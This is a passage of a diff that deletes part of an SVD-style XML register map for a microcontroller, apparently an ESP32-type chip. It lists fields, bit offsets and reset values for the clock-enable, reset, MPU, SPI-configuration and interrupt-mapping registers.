-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_TAG_PD</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_TAG_FORCE_ON</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_TAG_PD</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHB_LITE_MASK</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRODPORT</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APPDPORT</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHB_LITE_SDHOST_PID</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHB_MPU_TABLE_0</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>AHB_ACCESS_GRANT_0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHB_MPU_TABLE_1</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000001FF</resetValue>
-          <fields>
-            <field>
-              <name>AHB_ACCESS_GRANT_1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_INF_SEL</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PERI_IO_SWAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LINK_DEVICE_SEL</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PERIP_CLK_EN</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xF9C1E06F</resetValue>
-          <fields>
-            <field>
-              <name>TIMERS_CLK_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI01_CLK_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART_CLK_EN</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDG_CLK_EN</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2S0_CLK_EN</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART1_CLK_EN</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI2_CLK_EN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C0_EXT0_CLK_EN</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UHCI0_CLK_EN</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RMT_CLK_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PCNT_CLK_EN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LEDC_CLK_EN</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UHCI1_CLK_EN</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMERGROUP_CLK_EN</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EFUSE_CLK_EN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMERGROUP1_CLK_EN</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI3_CLK_EN</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM0_CLK_EN</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_EXT1_CLK_EN</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TWAI_CLK_EN</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM1_CLK_EN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2S1_CLK_EN</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_DMA_CLK_EN</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART2_CLK_EN</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART_MEM_CLK_EN</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM2_CLK_EN</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM3_CLK_EN</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PERIP_RST_EN</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMERS_RST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI01_RST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART_RST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDG_RST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2S0_RST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART1_RST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI2_RST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C0_EXT0_RST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UHCI0_RST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RMT_RST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PCNT_RST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LEDC_RST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UHCI1_RST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMERGROUP_RST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EFUSE_RST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMERGROUP1_RST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI3_RST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM0_RST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_EXT1_RST</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TWAI_RST</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM1_RST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2S1_RST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_DMA_RST</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART2_RST</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART_MEM_RST</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM2_RST</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PWM3_RST</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE_SPI_CONFIG</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLAVE_SPI_MASK_PRO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLAVE_SPI_MASK_APP</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_ENCRYPT_ENABLE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SPI_DECRYPT_ENABLE</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WIFI_CLK_EN</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFCE030</resetValue>
-          <fields>
-            <field>
-              <name>WIFI_CLK_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_CLK_WIFI_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_CLK_WIFI_BT_COMMON</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_CLK_BT_EN</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CORE_RST_EN</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_RST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BB_RST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FE_RST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAC_RST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BT_RST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BTMAC_RST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_RST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_HOST_RST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EMAC_RST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MACPWR_RST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RW_BTMAC_RST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RW_BTLP_RST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BT_LPCK_DIV_INT</name>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000000FF</resetValue>
-          <fields>
-            <field>
-              <name>BT_LPCK_DIV_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BTEXTWAKEUP_REQ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BT_LPCK_DIV_FRAC</name>
-          <addressOffset>0xD8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02001001</resetValue>
-          <fields>
-            <field>
-              <name>BT_LPCK_DIV_B</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BT_LPCK_DIV_A</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LPCLK_SEL_RTC_SLOW</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LPCLK_SEL_8M</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LPCLK_SEL_XTAL</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LPCLK_SEL_XTAL32K</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPU_INTR_FROM_CPU_0</name>
-          <addressOffset>0xDC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CPU_INTR_FROM_CPU_0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPU_INTR_FROM_CPU_1</name>
-          <addressOffset>0xE0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CPU_INTR_FROM_CPU_1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPU_INTR_FROM_CPU_2</name>
-          <addressOffset>0xE4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CPU_INTR_FROM_CPU_2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPU_INTR_FROM_CPU_3</name>
-          <addressOffset>0xE8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CPU_INTR_FROM_CPU_3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_INTR_STATUS_0</name>
-          <addressOffset>0xEC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_INTR_STATUS_0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_INTR_STATUS_1</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_INTR_STATUS_1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_INTR_STATUS_2</name>
-          <addressOffset>0xF4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_INTR_STATUS_2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_INTR_STATUS_0</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_INTR_STATUS_0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_INTR_STATUS_1</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_INTR_STATUS_1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_INTR_STATUS_2</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_INTR_STATUS_2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_MAC_INTR_MAP</name>
-          <addressOffset>0x104</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_MAC_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_MAC_NMI_MAP</name>
-          <addressOffset>0x108</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_MAC_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_BB_INT_MAP</name>
-          <addressOffset>0x10C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_BB_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_BT_MAC_INT_MAP</name>
-          <addressOffset>0x110</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_BT_MAC_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_BT_BB_INT_MAP</name>
-          <addressOffset>0x114</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_BT_BB_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_BT_BB_NMI_MAP</name>
-          <addressOffset>0x118</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_BT_BB_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RWBT_IRQ_MAP</name>
-          <addressOffset>0x11C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RWBT_IRQ_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RWBLE_IRQ_MAP</name>
-          <addressOffset>0x120</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RWBLE_IRQ_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RWBT_NMI_MAP</name>
-          <addressOffset>0x124</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RWBT_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RWBLE_NMI_MAP</name>
-          <addressOffset>0x128</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RWBLE_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SLC0_INTR_MAP</name>
-          <addressOffset>0x12C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SLC0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SLC1_INTR_MAP</name>
-          <addressOffset>0x130</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SLC1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_UHCI0_INTR_MAP</name>
-          <addressOffset>0x134</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_UHCI0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_UHCI1_INTR_MAP</name>
-          <addressOffset>0x138</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_UHCI1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_T0_LEVEL_INT_MAP</name>
-          <addressOffset>0x13C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_T0_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_T1_LEVEL_INT_MAP</name>
-          <addressOffset>0x140</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_T1_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_WDT_LEVEL_INT_MAP</name>
-          <addressOffset>0x144</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_WDT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_LACT_LEVEL_INT_MAP</name>
-          <addressOffset>0x148</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_LACT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_T0_LEVEL_INT_MAP</name>
-          <addressOffset>0x14C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_T0_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_T1_LEVEL_INT_MAP</name>
-          <addressOffset>0x150</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_T1_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_WDT_LEVEL_INT_MAP</name>
-          <addressOffset>0x154</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_WDT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_LACT_LEVEL_INT_MAP</name>
-          <addressOffset>0x158</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_LACT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_GPIO_INTERRUPT_MAP</name>
-          <addressOffset>0x15C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_GPIO_INTERRUPT_PRO_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_GPIO_INTERRUPT_NMI_MAP</name>
-          <addressOffset>0x160</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_GPIO_INTERRUPT_PRO_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_INTR_FROM_CPU_0_MAP</name>
